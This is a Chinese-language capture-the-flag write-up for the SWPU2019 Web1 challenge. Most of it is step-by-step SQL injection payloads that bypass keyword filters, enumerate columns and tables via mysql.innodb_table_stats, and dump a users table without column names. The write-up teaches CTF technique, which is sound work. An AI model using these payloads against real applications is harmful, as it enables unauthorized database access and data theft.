1. 程式人生 > 實用技巧 >[SWPU2019]Web1

[SWPU2019]Web1

考點:二次注入,無列名注入
嘗試使用單引號判斷是否存在注入

報錯說明存在二次注入

經過嘗試發現過濾了空格,or,and,--+,#,order等關鍵字
order by可以使用group by代替,空格可以使用/**/代替,註釋符可以採用閉合的方式代替,如group by 1,'2
另外通過報錯語句可以猜測到後臺sql語句

select * from ads where title = '$title' limit 0,1

判斷欄位數
先填寫一個較大的欄位數,例如50,發現欄位數大了

-1'/**/group/**/by/**/50,'2

然後25,12,20進行嘗試,最後得到欄位數為22,可以看到已經爆出了數字

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

檢視資料庫使用者,版本等資訊

-1'union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

-1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

查詢表時,發現information_schema.tables被過濾,刪除information_schema.tables後正常

-1'union/**/select/**/1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

這個時候就要使用無列名注入,另外Maria資料庫的這個表可以查表名:mysql.innodb_table_stats
查詢表

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

查詢表中的資料

-1'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)/**/as/**/b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22